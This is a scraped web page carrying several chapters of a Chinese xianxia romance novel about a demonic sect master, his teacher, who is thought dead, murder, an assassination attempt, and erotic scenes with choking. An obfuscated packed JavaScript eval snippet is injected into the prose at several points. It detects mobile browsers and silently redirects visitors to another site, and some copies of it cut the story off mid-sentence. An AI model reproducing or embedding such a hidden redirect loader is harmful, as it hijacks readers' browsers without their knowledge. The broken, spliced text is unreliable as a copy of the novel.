闻厌看出了唐柏眼中的犹豫和渴望,笑了笑,没有说话。 其实这里他许久没有来过了,若有要紧事周则自会向他禀报,因此信阁四处都乱糟糟的。他低头把面前堆积了多时的文书信报分门别类放进匣子里,摸到最后一份时发现质感不太对。 拿在手里的是一张随意折叠起来的宣纸,像是不小心混在了一堆文书中。 ……这是什么时候的东西? “景明!”唐柏吃了一惊,没想到一个愣神的功夫,对方就直接上手拆起东西来了,紧张地四处看看,发现没人注意他们,才松了口气,连忙按住闻厌的手,“景明,你怎么还看起来了?要是被发现怎么办?” “别紧张,这张纸没落法咒,应该是废纸,我就看一下,不会有事的……嗯?” 闻厌话音一顿,错愕地看着展开后的宣纸。 是一幅画。 画中是山海楼内的那片林子,林中枝叶葳蕤,繁花遍地,有道少年身影躺在鲜花之中,身上盖着不知道是谁的宽大外袍,蜷缩着睡着了。 画画之人笔触随意,却像对所画之人极度熟悉,寥寥几笔就传神地勾勒出了对方的容貌轮廓。 闻厌对画中人再熟悉不过——那分明就是他自己。 这是他弱冠那年生辰的晚上,贺峋把他叫了过去。 当时正值寒冬,然而闻厌到时,就发现一夜之间林中积雪褪去,枯树抽条生枝,粉白花瓣缀满枝头,林间百卉齐开。 贺峋站在一片花团锦簇中对他笑:“厌厌,生辰吉乐。” 语气和缓,比月色还要温柔几分。 闻厌却站在原地没动,只是看着贺峋:“师尊已经和我说过了。” “不一样。”贺峋温声道,“那些仪典啊,贺礼啊,不过是世俗之下应该有的东西,我想给你我们喜欢的。” 贺峋笑着朝闻厌伸出手:“站那么远干什么?过来。” 闻厌过去,刚到贺峋身前,下一瞬就被人掐着脖子按倒在花丛中。 贺峋的手修长有力,身体的本能反应让闻厌抬手反抗,却因为脱力只能抓住身侧的花枝,挣扎间花瓣在手中被碾碎,娇艳靡丽的汁水顺着指缝流下,沿着白皙小臂流入还未换下的华服中。 “真美。”贺峋的语调近乎惊叹,看得入了迷,另一手抚上闻厌的脸颊,低声赞叹,“厌厌,你知不知道现在你有多漂亮……” 闻厌此时已经听不清贺峋在说什么了,满脸生理性的泪水中,他眯着眼看自己师尊,视线中只有那淡漠的薄唇在翕动。 贺峋能感觉到闻厌的动作已经越来越无力,往前胡乱地抓了几把,才松松地握住了自己的手臂。 “师尊……”闻厌用气声叫人。 贺峋依言俯下身,凑近了去听自己徒弟在说些什么,然后就被人猛地撑起身在唇上吻了一下。 贺峋一滞,所有的禁锢都在那一瞬间露出了突破口。 闻厌倒了回去,胸口剧烈起伏着,生死一线,眼中的兴奋却压都压不住,看着贺峋大笑出声。 彻底抛开了总喜欢在贺峋面前套着的可怜兮兮的壳子,袒露出两人一直心照不宣的扭曲与疯狂。 回应他的是突然铺天盖地压下来的亲吻,喘息与呜咽一点点响起加重,闻厌手边的花枝又遭了殃,凌乱的汁液再次染了满身。 自那晚后,闻厌在设想自己的死法时,加上了一条……他还可能会被自己的师尊弄死在床上。 …… “这是什么?” 唐柏还是不小心看到了画面的一角,只觉得画中的身影好像有些眼熟,正要细看,宣纸就被人几下卷了起来。 “好啊,你们竟敢偷看楼中密报,我这就告诉周副使去!”许邯突然从闻厌和唐柏两人身后冒了出来,激动得脸上的神情都有些狰狞。 这三人也一起被周则选中的时候,许邯就窝火得很。 他才是当日那个唯一得了承诺能够进内门的人,这三个一个是残废,一个愣头青,还有一个只有脸能看的废物,凭什么和他同样待遇? 他上前一把就抓住了闻厌的胳膊,扯着人就要往外走,嚷道:“你们等着吧!我一定要让你们……啊!!!” 闻厌反手就折断了许邯的手腕。 撕心裂肺的痛呼响彻整个信阁,唐柏被吓了一大跳。 他看着许邯被一脚踹到了地上,连忙拉住还要往前走的闻厌:“景明,算了算了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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唐柏刚才都没看到这两人有交流,但此时闻厌的语气却笃定得很,像是和贺峋有着难以言说的默契,对对方接下来要做什么心领神会。 感受到唐柏疑惑的眼神,闻厌笑道:“说到底许邯的话也不是很值得在意,毕竟山海楼那么大,多他一个不多,少他一个不少。” …… 许邯和贺峋出了信阁,在拐角停下。 “说吧,你们打算怎么求我不把刚才的事说出去?” 对方的语气冲,贺峋却还是微笑着,没有回答,只看了下周遭环境。 不远处有个已经废弃的屋子,门口本来围了一小块地当作花圃,但是久无人烟,已经枯萎,木栏边还靠着一把生了锈的斧头。 许邯不满道:“喂,说话啊!哑巴了?” 他在魔域里横行惯了,看在自己打不过眼前这残废的份上,才一直忍耐着,直到快要憋不住气时,对方终于动了,手一伸,温润的灵力托着个斧头浮现在他身侧。 许邯看到灵力的刹那就震惊地喊了出来:“你是修士?!” 贺峋道:“你不喜欢这个?也行。” 他手腕一转,那团带着莹白光晕的灵力忽地一闪,转瞬就成了纯粹到没有一丝杂质的墨色。 许邯已经看呆了:“这,这是……” 贺峋慢条斯理地开口道:“你刚才说,要谁哭着求你放过他?” 许邯已经开始感觉到不对劲了,但还是捂着自己扭曲的手腕,色厉内荏地梗着脖子道:“还能是谁?我一定要让那姓闻的吃不了兜着走!” 贺峋笑:“那可惜了,他只能哭给本座看。” “……什么?”许邯还没来得及理解这句话中巨大的信息量,斧头突然砸落,让他痛苦地哀嚎了一声。 血肉飞溅中,贺峋往许邯的喉咙隔空一点,封住了所有的聒噪叫喊,就这么平静地坐在一旁看着,等待一切结束。 11. 第 11 章 唐柏提心吊胆了一日,直到暮色四合时都没再见到许邯。放下心的同时,他总感觉有哪里不太对,但另外两人都已经神色如常地聊天说笑,又让他怀疑是自己多想了。 三人刚走出信阁,就见到了站在门口的周则。 周则还是那副冷冷淡淡的模样,见到他们微一颔首,示意他们可以回去歇息了,只是单独留下了闻厌。 唐柏一颗心顿时又提了起来,看着闻厌走在周则后面,身影很快就消失在信阁的大门后,等了半天也不见人出来。 他猛地抓住了贺峋的轮椅椅背:“徐兄,我们跟上去看看吧?” “你担心景明?放心,他不会有事的。” “他不行的!“唐柏急了,压低了声音快速道,“他一个人怎么对付得了山海楼的副使?!而且他本来就是山海楼的人,万一被发现了,岂不是又要被困在这里一辈子?” 贺峋还是语气平淡地微笑道:“景明他会自己应付的。” “不行,他性子急,受不了一点委屈,和周副使起了冲突的话肯定会受罪。”唐柏恳求道,“徐兄,你的修为高,若是景明遇到危险,救出他的把握也能够大些。” 然而无论唐柏怎么说,贺峋都是一副不徐不疾的模样。以往他觉得这样的对方气度从容,现在看只觉得陌生。唐柏失望不已,一咬牙,自己转身就往信阁走去。 “等等。”贺峋道。 唐柏满怀希望地转身,就听对方问道:“说到底,你和景明认识也不久,有必要为了他冒这么大险吗?” 或许是自己的错觉,景明二字从眼前人口中说出来时带着自然而然的熟稔,还有主权被冒犯的不快。但此时没有时间让唐柏细想,他没有回答,毅然决然地转过了身。 信阁的书案后,闻厌低头在看周则带来的简报。 周则站在一旁,等到闻厌已经翻完了眼前的纸页,适时道:“现在情况就是这样,其余各派都因为传言唐家唯一的后人在魔域而蠢蠢欲动,还有一些则是一直和我们不对付的,想要借机攀咬山海楼。” 闻厌笑了笑:“所以明天的归元之会怕是很热闹了。” 他转头看向周则:“说是魔域之人对唐家动手的传言,最早是从哪里来的?” 周则面露难色:“范围太大,还没有查明,而且那些仙门的修士一向都喜欢把事情推到魔域这边,想要找到源头,很难。” “那便算了。”闻厌收回视线,把手中的简报扔回桌面,“不用理会。” 周则看闻厌没有半点要澄清的意思,再加上对方和唐柏接触时对自己也毫不隐瞒,这样下来就算傻子也猜得到唐柏的身份。 他不知道唐家灭门之事是否真的和对方有关,这也不是他应该关心的事,便不再多言,正要告退时又想起一事:“楼主,那个与你们一起的弟子,今日可是不见了?” 闻厌哦了一声,才想起还有这么个人:“你说许邯啊,以后应该也不见了。” 他不知道那人和许邯出去后具体做了什么,隔了好长一段时间才回来,但许邯被处理掉了肯定是毫无疑问的。 周则静默了一瞬,说道:“此人修为尚可,但心浮气躁,莽撞短视,在楼里也不能成事。” 他正要离开,就听门外突然传来唐柏的声音:“弟子唐柏,请见周副使。” 周则顿时疑惑地看向闻厌,然而闻厌也是一脸莫名。 闻厌正要让人进来,视线突然在自己和周则一坐一站的姿势中走了个来回,起身走到书案前,一指刚才自己坐着的椅子:“你去那儿坐下。” “楼主……”周则下意识推拒,被闻厌瞪了一眼后只能照做,清了清嗓子,扬声道,“进。” 唐柏进来后,急切地去寻找闻厌,看到人好端端地站在书案前才放下心来。 “何事?”周则问他。 “我,呃……”唐柏卡了壳。 他一向都不擅长说谎,刚才脑子一热就进来了,现在绞尽脑汁想不到理由,急出了一头汗。 闻厌心中好笑,直接对周则道:“周副使,下午之事是我冲动了,我以后会注意的。” 周则……周则根本都不敢接。只是唐柏在一旁看着,他只能含糊地应下,赶紧让两人出去了。 刚走出门,不巧就下起了小雨,两人站在廊檐下躲雨。 闻厌笑着问唐柏:“你不是先回去了吗?怎么又来找我呀?” “见你许久都没有出来,怕你被周副使为难。”唐柏不好意思地笑了笑,“但好像根本不需要,反而是我差点弄巧成拙了。” 闻厌就笑:“要是我真的遇上危险你来也没用呀,那可是山海楼的副使,我们又打不过。” “我没想那么多。”唐柏道,“你遇上危险我总不能坐视不理的。” 然而闻厌的视线很快让唐柏局促起来,不自在地移开了视线:“咳,景明,你一直看着我干什么……” 闻厌的脸上扬起笑容:“唐柏兄,你对我真好。” “以前在家时,家里的弟弟也和你差不多的年岁。”唐柏说着,露出个有些落寞的笑容,“不过他们可没你厉害,有许多事都要人去操心。” 闻厌眨了眨眼,突然道:“我小时候也有过哥哥,但过得可没那么好。等我进了魔域后,就再没见过他们了。” “景明……”唐柏一时心里五味杂陈。 他转头去看对方。少年虽然易了容,但给人的感觉还和初见时一般,漂亮又无害,让人提不起防备心,更不用说像现在这样,勉强笑着谈起自己过往的时候,很容易就激起人的保护欲。 闻厌率先打破沉默,主动道:“都是过去啦,我早忘得差不多了。” 闻厌转过身,伸出手去接空中的雨丝,轻声道:“清明时节了。” 唐柏呼出一口气。 他此前一直甚少提起自己的族人,和闻厌的对话勾起了他的回忆,让那些被有意控制着的悲痛再次涌上心头,苦涩地低声道:“清明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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拎在手中的外袍被雨淋得湿透,闻厌一开始新奇地打量了好几眼,不过没有穿上它的打算,也不用任何法术避雨,等走到崖边孤零零竖起来的那块墓碑时,已经浑身都淋湿了。 相比那块没头没尾的灵牌,这块墓碑的年岁看起来更为久远,规规矩矩地刻上了“先师贺峋之墓”,只是本应停放棺椁的地面还残留着被人挖开又填上的痕迹。 闻厌把唐柏的外袍扔到一边,在墓碑前蹲下身,玄色衣摆拖曳在身后,被雨水打湿后透着彻骨的黑。 他从袖中抽出今日在信阁发现的那副画,拿到眼前端详了好一会儿。 闻厌自己淋了一路的雨都没有在意,但却专门给这张画附上了法术,雨水在落到脆弱的纸张前就自动往旁边避开。 闻厌安静地注视着画中的自己,黑色的火焰突然从他的指尖跃起,摇曳着把手中的画吞没。 闻厌死死地盯着那块墓碑:“师尊,分明是你欠我的,那么多年了,你凭什么还不出现?” “哗啦——” 雨势猛地变大了,劈头盖脸地砸了下来。 然而还是无人应答,一如他以前问过的每一次。 闻厌淌着雨走了。 单薄的身影刚消失在茫茫雨幕中,一只骨节分明的手就把他落在墓碑旁的外袍捡了起来。 湿透的外袍被灵力绞成碎屑,很快就被雨水冲刷不见。 贺峋看着闻厌离开的方向,轻轻地笑了一下。 12. 第 12 章 “阿嚏——” 闻厌偏头打了个喷嚏,不太舒服地吸了吸鼻子。 “是不是昨晚淋了雨着凉了?”周则已经闻声看来,端详了一下闻厌的脸色,“景明,你看起来好像很累。” 同时看过来的还有坐在轮椅上的贺峋。 “哪有那么脆弱?”闻厌缩在椅子里闷声道。 不过不舒服是真的。 闻厌今早醒来后就浑身酸痛得不行,再加上本来就时重时轻的头疼,他晃来信阁的时候人都是飘的。 难不成真被唐柏这个乌鸦嘴说中了?山海楼楼主一点小雨就淋成风寒,说出去怕是要让人笑掉大牙。 闻厌抬手揉了揉太阳穴,他估摸着时辰,拢了拢外袍,起身:“我先回去歇会。” “等一下。”唐柏把人拉住了。 他想起今日来信阁时路上所见,对闻厌道:“今日楼中似有大事,我看见有不少陌生魔修出现,阵仗颇大,你回去的时候要小心。” 山海楼背山靠水,地域广阔,以信阁为界,往右是楼中会客议事之处,再往里就是长老和楼主居所。唐柏有心去打探这不同寻常的动静,然而他们日常活动范围都在信阁以左,只能远远地看着各路魔修齐聚一堂,往湖中的小岛上去。 闻厌点头:“好,放心吧。” 他示意唐柏放心,下了楼,身影很快消失在阶梯拐角处。桌上有份密报被闻厌离开时的动作带得飘了下来,唐柏眼尖,走过去捡起来后不经意地扫了眼,霎时愣在原地。 相比唐柏的关切担心,贺峋至始至终都没说过一句话,他放下手中整理着的文书,推着轮椅来到窗边,垂眸往下看。 闻厌若有所感,刚迈出信阁的大门,一回头,就看到窗边注视着自己的眼睛。 贺峋大大方方的看,被闻厌发现后还笑了笑。于是就见对方站定,同样坦坦荡荡地看了上来,抽出那柄墨玉烟杆,漫不经心地点了点他,再比了个抹脖子的姿势,眨眨眼,转身走了。 余下贺峋满眼都是笑意。 真是……威胁人都那么可爱。 今日山海楼确有大事。 魔域派系林立,冲突不断,但直到今日都屹立不倒,甚至能和正道平分秋色,这很大程度归功于贺峋在位时立下的规矩。 每隔三个月,各派主事之人都要来山海楼的归元岛,于此解决纠纷或达成交易。在这里立下的约定都默认不得反悔,这也被称之为归元之会。某种程度上也暗含了对山海楼的臣服意味,一开始自然有人不服,然而见识过贺峋的手段后,纷纷闭了嘴。 从岸上到湖中心的归元岛,只有一座白玉拱桥,一到桥上,所有法术便通通失效,无论是多么呼风唤雨的大魔修,都只能老老实实地一步一步走到岛上。 闻厌到时,人都进去得差不多了,桥上没了人影。所有的限制对他自然不起效,足尖一点,直接飞身而起,轻盈地落在了拱桥另一头。 他一推开门,座中的魔修齐齐起身向他行礼:“参见君上。” 闻厌径直从中穿过,走向最上头的主位。 其他魔修低着头,眼神小心翼翼地往闻厌身上飘,觑人脸色。 轻烟自墨玉烟斗升起,稍稍模糊了那张漂亮的面容,然而却遮不住分毫眼前人的不悦。 长睫低垂,嘴唇抿成一条平直的线,食指上那枚象征着魔君身份的指环折射出冰冷的光,让悄悄抬起的头又纷纷低了下去。 不妙。 这人平常都是笑眯眯的,今日连装都不装了,必定大事不妙。 闻厌走到自己的位置,坐下后一抬眼,见一屋子人还直愣愣地站着,开口道:“干什么?自己不会坐下吗?还要本座请你们不成?” 众人连忙道着不敢,飞快地坐了下来。 闻厌说完后就没有再开口,靠坐在椅子上,双眼微垂,有一搭没一搭地转着手中的烟斗,等着底下人开口。 坐在最末尾的万宝宫宫主是个独眼胖子,仅剩一只的小眼睛四处转了转,率先开口道:“前月万宝宫的地牢遇袭,人犯全都跑了出去。我已绘制好了关押之人的画像,若各位在自己门派中发现并交于我万宝宫,王某必有重谢!” 有人当即不屑地嘁了一声:“说得跟真的似的,王志和,谁不知道你地牢里关的都是些什么人,自己看上的脔宠跑了还好意思出来嚷嚷,说出来都脏了君上的耳朵!” 其他人毫不客气地笑出了声。 万宝宫宫主王志和好色之名在魔域人尽皆知。食色性也,这对于魔修来说不算什么,但偏偏这人无心修炼,整个人早就在酒池肉林中泡废了,遇事只会窝窝囊囊地陪着笑脸,在弱肉强食的魔域中便格外为人不齿。 王志和涨红了脸,看向坐在最上方的身影。 闻厌露出了进门以来的第一个笑容:“王宫主是想要本座为你做主?” 王志和冷汗唰的一下就下来了。 他还记得对方刚上任的时候。 新任魔君那张脸实在太过漂亮,山海楼以外的大多数人对其印象还是跟在贺峋身边的那个少年,柔弱,乖顺,单纯得与魔域格格不入,像是一直被人精心养在笼中,不沾外界半点腥风血雨。 于是当时不少人想的不仅是那个位置的,还有坐在那个位置上的人。 王宏志也在人群中远远地看了一眼。 他后面无数次庆幸只是看了一眼。 不过片刻,在他前面的那些人就已经成了一滩滩模糊的血肉,闻厌踩着满地血腥来到他面前,在他控制不住软倒的身体旁蹲下身,微笑着问:“喜欢看我?” 那日,王宏志挖下了自己的一只眼睛,换得了活命的机会,现在被闻厌这样看着,浑身汗毛倒竖,眼睛条件反射地开始疼了起来,连忙摇头,再不敢提。 这事很快就被揭过。 坐在闻厌下首的是山海楼的长老秦谟,他前不久才被闻厌的蛊虫折磨了一通,但此时对着闻厌的时候神色如常,没事人一般开口道:“楼主,这一个多月以来都在传唐家的事是我们魔域中人所为,还说唐家幸存的那小子也在这里,正道中已经有人想要对魔域动手了,我们是否要有所行动?” 很快有人接话:“要我说,谁做的谁承认便是了,总不能自己得了好处,还要我们所有人一起收拾烂摊子吧?” “报仇?”有人嗤笑一声,“承华山唐家一向中立,那些狗屁正道和唐家有什么交情?我看是也眼馋那还魂草,又抹不开面子吧。” “还魂草谁不想要?我觉得也不用费那么多功夫去找,直接去承华山挖坟抛尸,那小鬼肯定要去给自己爹娘收尸,再把他抓住一问,不就什么都知道了?” “张掌门那么熟练,难不成就是你把唐家灭的门?” “我哪有那本事啊?承华山唐家厉害着呢,要我有这修为,早就动手了。” 话说到这,已经有不少人又悄悄去看今日格外沉默的闻厌。 要说修为,在场所有人都比不上最上面的这位。 练的也不知道是什么邪术,年纪轻轻,修为却力压魔域众人,能镇住他的可能只有他那早死的师尊了。 周则就立在闻厌边上,看着底下众人有意无意地在把话头往山海楼上拐,明里暗里都是针对之意。 他皱了皱眉,正要开口,就感觉自己的剑突然被人一把抽出。 “砰——!” 众人被突然炸开的巨响惊得齐齐一顿,扭头向上首看去。 闻厌起身一剑砍在面前的桌案上,强劲的威压四散,让人要喘不过气来。 在骤然安静下来的空气中,闻厌的目光一个个略过下首所有人,不耐道:“吵什么?” “不就是想找本座的不痛快吗?找那么多冠冕堂皇的理由做什么?” “还有……”闻厌嗤笑一声,“挖坟抛尸?也不嫌丢人。” 他抬脚就踹在桌案上,上面嵌着的剑都一起和案几往外飞,不偏不倚地撞在最先叫嚣着的张掌门身上,把人往外撞飞出去几丈远,砰地砸在地上惨叫一声,一时动弹不得。 闻厌看都没看他,重新坐下,墨玉烟斗移到唇边,缓缓呼出一口气,这才撩起眼皮不紧不慢地对众人道:“若还有人好奇唐家之事的,大可来山海楼一问。” 不论先前藏着什么目的,那还在地上扑腾的张掌门都让众人心中一凛,连忙告罪。等结束的时候,众人一个走得比一个快,转眼就全没了踪影。 周则叫来人把地上的张掌门拖出去,再把自己的剑拔了出来,一回头,就见闻厌又撑着脑袋阖上了眼。 “……楼主?”周则走到人面前,蹲下身,轻声唤道。 那些人不敢多看,他站在旁边,却是能发现对方今天的状态不太对,似乎一直在强忍不适。 “楼主,是否要属下叫来医师——”周则的话音戛然而至。 只见闻厌猛地抓住了椅子的扶手,俯身呕出一口血来! “楼主!”周则的脸色唰地白了。 闻厌还是很冷静的,转头看了他一眼,吩咐道:“立即封锁消息。” “是……是!”周则如梦初醒,连忙把殿门关上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周则还是脚步未停,一路跟到门口,眼见闻厌推门就要离开,心知接下来的话会让对方勃然大怒,还是一咬牙问了出口:“您身上的那些痕迹……” 然而让他极其意外的是,闻厌非常平静地回头看了他一眼:“什么?” 周则不敢挑得太明,伸手在脖子下方比划了一下:“就是这里……” 闻厌极轻地蹙了下眉,又很快语气平常道:“我知道。” 眼前人反应如此平淡,让周则心中一下子闪过了许多猜测,一股无名的妒火突然自心中升起,简直要把他一直以来的沉稳烧得一干二净。 他跟得更紧了,抢在闻厌迈出门槛前道:“您……” 被人回身用烟杆抵住了肩膀。 闻厌淡声道:“明正,你太放肆了。” 撂下这句话后,闻厌便收回烟杆,转身迈进了外面的茫茫雨幕中。 …… 贺峋从信阁出来时外面又下起了下雨。 自从闻厌离开后,唐柏不知为何一直有些魂不守舍的,再加上昨晚之事后,他对贺峋的态度便直转急下,一声没吭,直接往楼中的住处去了。 贺峋的心情却很好,面上挂着笑,撑着伞,推着轮椅,进到了外面的细雨中。 他知道今日是归元之会,正想看看闻厌出来了没,眼中就撞进来一个熟悉的身影。 路过的下属或弟子纷纷行礼叫着楼主,又不敢在人面前久待,行了礼后就匆匆离去。 贺峋看着又浑身湿透的人,有些不解。 他这徒弟讲究得很,床不软的不睡,衣裳不好看的不穿,吃个东西也要挑三拣四,卖相差一些的直接筷子都不动一下,把自己淋得像个落汤鸡似的是什么时候养成的新爱好? 而且看这方向,这人也不是回自己的寝殿,天都要暗了,还不知道要晃去什么地方。 贺峋撑着伞往前,直到要到人身前了,闻厌都没有任何反应。 而贺峋在看清那双眼睛后,嘴角的笑也一点点平了下来。 闻厌正凭着感觉往自己的寝殿走,突然手腕被人冷不丁攥住。 闻厌顿时炸了毛,指间冷光乍现,反手就是一把淬了毒的银针向对方甩去。 “是我。”贺峋没有松手,反而借着躲避的动作把人又拽近了几分。 熟悉的声音让闻厌稍稍放下警惕,却也只是冷声道:“你在这里做什么?让开。” 然后就听人道:“闻楼主,你看不见了,对吗?” 13. 第 13 章 闻厌心中一惊,然而很快镇定下来。刚才就连周则都没有看出来,这男人嘴里一向没几句真话,焉知不是故意拿话诈自己? 他表情不变,冷笑一声道:“你在胡说什么?” 贺峋看得清清楚楚,眼前人说得冷静,浑身上下却写满了戒备……像被踩了尾巴的猫似的,真可爱。 贺峋笑了笑:“我有没有胡说,闻楼主自己清楚。” 还没等闻厌反应过来,贺峋抓着人的那只手一翻,就改为去探闻厌的命脉。 闻厌当即往后一撤手肘,但对方迅速跟上,也不知坐着轮椅怎么还能如此灵活,闻厌挡了几下,还是被扣住了腕间动脉。 贺峋探了一会儿,有些意外,挑眉笑道:“还连内力都没了。你说我要是现在就把这消息传出去,会有多少人想来要你的命?” 闻厌的脸色一点点变得难看:“你是在威胁本座?” 闻厌道:“你别忘了,你身上的蛊虫可还没解,大不了我临死前再拉个垫背的。” 话虽如此,还是有所顾忌,没有真的催动蛊虫。 贺峋低声笑了一下:“嘴硬可不是个好习惯。” 声音很低,闻厌没有听清,只感觉对方扣着自己的手一动,有灵力顺着两人肌肤相接的地方进入体内。 闻厌的第一反应就是要催动蛊虫,又突然发现对方的灵力温润和煦,没有任何攻击性,反而让人身上暖洋洋的,转瞬间就烘干了他被雨淋得湿透的衣服。 头上的雨也停了下来,然而耳边的淅沥雨声仍然未绝,还有雨水砸在遮挡物上的沉闷声响。 ……闻厌后知后觉地意识到是对方在替他打伞。 闻厌一时有些沉默,对方那总是带着笑的嗓音再度响起,被雨水模糊后有些失真,让闻厌莫名将其与那人联系起来。 “是不是又想拿蛊虫对付我?”对方似叹了口气,无奈地笑了笑,“有没有人和你说过,总是暴力镇压很伤人心的。” 很像那人教他各种东西时的随意语调。 ……但他为什么总是会想起这些? 一股说不清的羞恼漫上心头,闻厌很快收回心绪,不甘示弱道:“有没有人和你说过,不多嘴也是一种美德?” “真是……”贺峋笑着摇了摇头。 他问闻厌:“闻楼主要去哪里?我送你。” “不必。”闻厌在对方松手的瞬间就立马后退一步拉开距离,回绝道,“我自己走。” 贺峋也没阻止,只默默把伞往闻厌走的方向挪,让只顾一味闷头往前走的人不要走出伞下。 走出几步后,闻厌就停了下来:“你怎么还在?是不是想跟着我回寝殿?” “自然不是。”贺峋道,“只是……闻楼主要回寝殿?如果我没记错的话,应该是在另一头吧,是不是走反了?” 闻厌:“……” 他绝对不会听错对方话语中的调侃,忍了又忍,二话不说转了个方向就继续往前走。然而对方却很没眼力见地还笑了起来,闻厌掩在袖中的手攥紧又放松,终是没忍住,循声踢了轮椅一脚:“有完没完?你再——唔!” 狠话放到一半就被人揽着腰往旁侧一带,锋锐的剑气自耳边擦过,切断了几缕扬起的发丝。 闻厌反应极快地一甩袖,泛着冷光的银针就向来人射去! 痛哼在不远处响起,然而一人倒下后,又有更为凌厉的攻势自不同方向同时袭来。 闻厌估算了一下,发现情况不容乐观。 来人实力都不低,若是放在平时自己自能应付,但此时目不能视又功力尽失,能否全身而退还真不好说。 这场刺杀来得实在太是时候了…… 贺峋出手如电,拦下了好几次直冲闻厌的致命攻击,撑在两人头顶上的伞仍旧稳稳的。 “闻楼主不叫人来帮忙吗?”刀光剑影中,贺峋从从容容地问道,“你那副使呢?” 闻厌不答。 他背靠轮椅的椅背,手中烟杆撞上劈过来的剑刃,上好的墨玉顿生裂纹,闻厌一用力,便成了锋利尖锐的碎片,裹着劲风向对面甩了过去。 接二连三的闷哼响起,密集的攻势缓了一瞬,闻厌反手抓着椅背喘了口气,就听身后的嗓音愉悦地笑着道:“看来也不是完全信任啊。” 贺峋道:“我可以帮你。” 闻厌没有立即回答。 “闻楼主,你现在也没有更好的选择了,不是吗?” 对方的话音笃定,闻厌侧身避开再次攻上来的长剑,但靠听声辨位反应还是慢了些,肩膀被擦出了一条口子。 闻厌终于挤出两字:“条件?” 贺峋道:“先欠下,以后答应我一件事情。” 贺峋抽空转头看了闻厌一眼,温声安抚道:“放心,不会为难你。” 闻言沉默半晌:“……成交。” 话音落下,那些刺客就见坐着轮椅的男人突然发难,一改此前一味只守不攻的做派,手中的青竹纸伞往后一抛,到了闻厌手上,温和的灵力陡然一变,比起魔域中那些修为深厚的魔修还要来得凶戾骇人,身影一闪,就主动迎了上去。 不过闻厌看不见。 既然有人给他冲锋陷阵,他自然坐享其成,撑着伞自动远离战场。 来者不善,也不知道打不打得过,可别那么快死了。 ……当然,能够两败俱伤就更好了。 闻厌远远在一旁阴暗地想着,等到雨势渐歇,闻厌收了伞,就听轮椅压过地面的轻微吱呀声慢慢来到身前。 闻厌问:“还好吗?” “托闻楼主的福,没死。” 除了因为打斗气息有些加重,没有听出任何受伤的虚弱,闻厌遗憾地道:“真可惜。” 贺峋笑:“别想着赖账啊。” 闻厌撇撇嘴,问道:“留活口了吗?” 事发突然,虽然平日里想要自己命的人数不胜数,但闻厌不相信时机真的会如此巧合。 贺峋道:“自绝经脉了。” 这句话一出,哪怕眼前人暂时看不见了,贺峋也能感受那双乌黑无神眼眸中的审视之意。 无声地僵持了一会儿,闻厌率先微微偏过脑袋,转而问道:“那身上有没有什么标志?” 贺峋看了地上横七竖八的尸体一眼:“没有,全都是寻常服饰。” 如此说来,便是完全身份不明了。 闻厌这时候才传音给周则,让他迅速过来清理现场。 “怎么,闻楼主不信我说的话?” 闻厌哼笑一声,抬脚就走。一段时间后,他已经对眼前的黑暗适应了不少,能够准确辨认出周围方位。 贺峋看了前面一眼,跟上去道:“闻楼主,这方向可不是回你的寝殿。” “不回了。”闻厌言简意赅。 从这里到自己寝殿距离不短,路上难保会再生枝节,前方就是山海楼外门弟子居所,将就一晚便是。 闻厌和贺峋两人去到时天色已晚,唐柏的屋子还亮着灯,明显有异于他平常的作息习惯。不过两人一个看不见一个不在意,闻厌径直走进了当初分给自己的屋子。 屋子里另一人的气息却一直没有离去,闻厌疑惑道:“你怎么还不走?” “你的伤还没处理。”贺峋看着玄色外袍被划开的地方不断渗出暗红血迹,对闻厌道,“你看不见怎么上药?” 闻厌考虑了一下,到底没有拒绝,摸索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327384|140446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着在桌边坐下,把外袍往下扯了扯,露出肩膀的伤处。 半天没见动静,闻厌催促道:“快点。” 浑然不知对方看他的眼神已然深不见底。 闻厌完全是凭手感脱的衣服,一不小心就扯得有些低,在周则眼前一晃而过的暧昧痕迹毫无保留地现于人前。 现于始作俑者之前。 闻厌不会知道,昨晚当他回到那寒冷彻骨的冰棺后,经历了怎样一番热烈痴缠。他无知无觉地兀自催促着贺峋。 然而听到药瓶碰撞的声响时,整个人又有些微不可察的僵硬,放在桌上的手控制不住地收紧。 贺峋倒了些药粉到纱布上,刚碰上伤口的边缘,手下人就轻微地一抖。 “那么紧张?”贺峋轻笑,“堂堂山海楼楼主,该不会怕疼吧?” 闻厌当即抢道:“胡说!” 声音之大,听起来格外底气不足。 贺峋也不戳穿他,放轻了力道,慢慢将纱布贴上伤口。 刚才划的那一下还是比较深的,药粉接触到血肉后带来阵阵灼痛。 贺峋看着那截不自觉绷紧的纤长脖颈,垂下眼睫,掩盖住眸中酝酿的风暴。 闻厌咬牙道:“你是不是故意报复我?” 他想起这人被吻上脖颈时总会有些紧张。 闻厌质疑道:“你到底会不会上药?” 而且腰握起来比以前又细了。 闻厌不耐道:“喂,问你话呢!” 还是被弄得有气无力时才不折腾。 贺峋“嗯”了一声,温和道:“这是正常的,忍一忍,就快好了。” 闻厌没忍住小声地抽了口气。 贺峋的动作停了停,无奈地笑:“真那么疼?” 闻厌点点头。 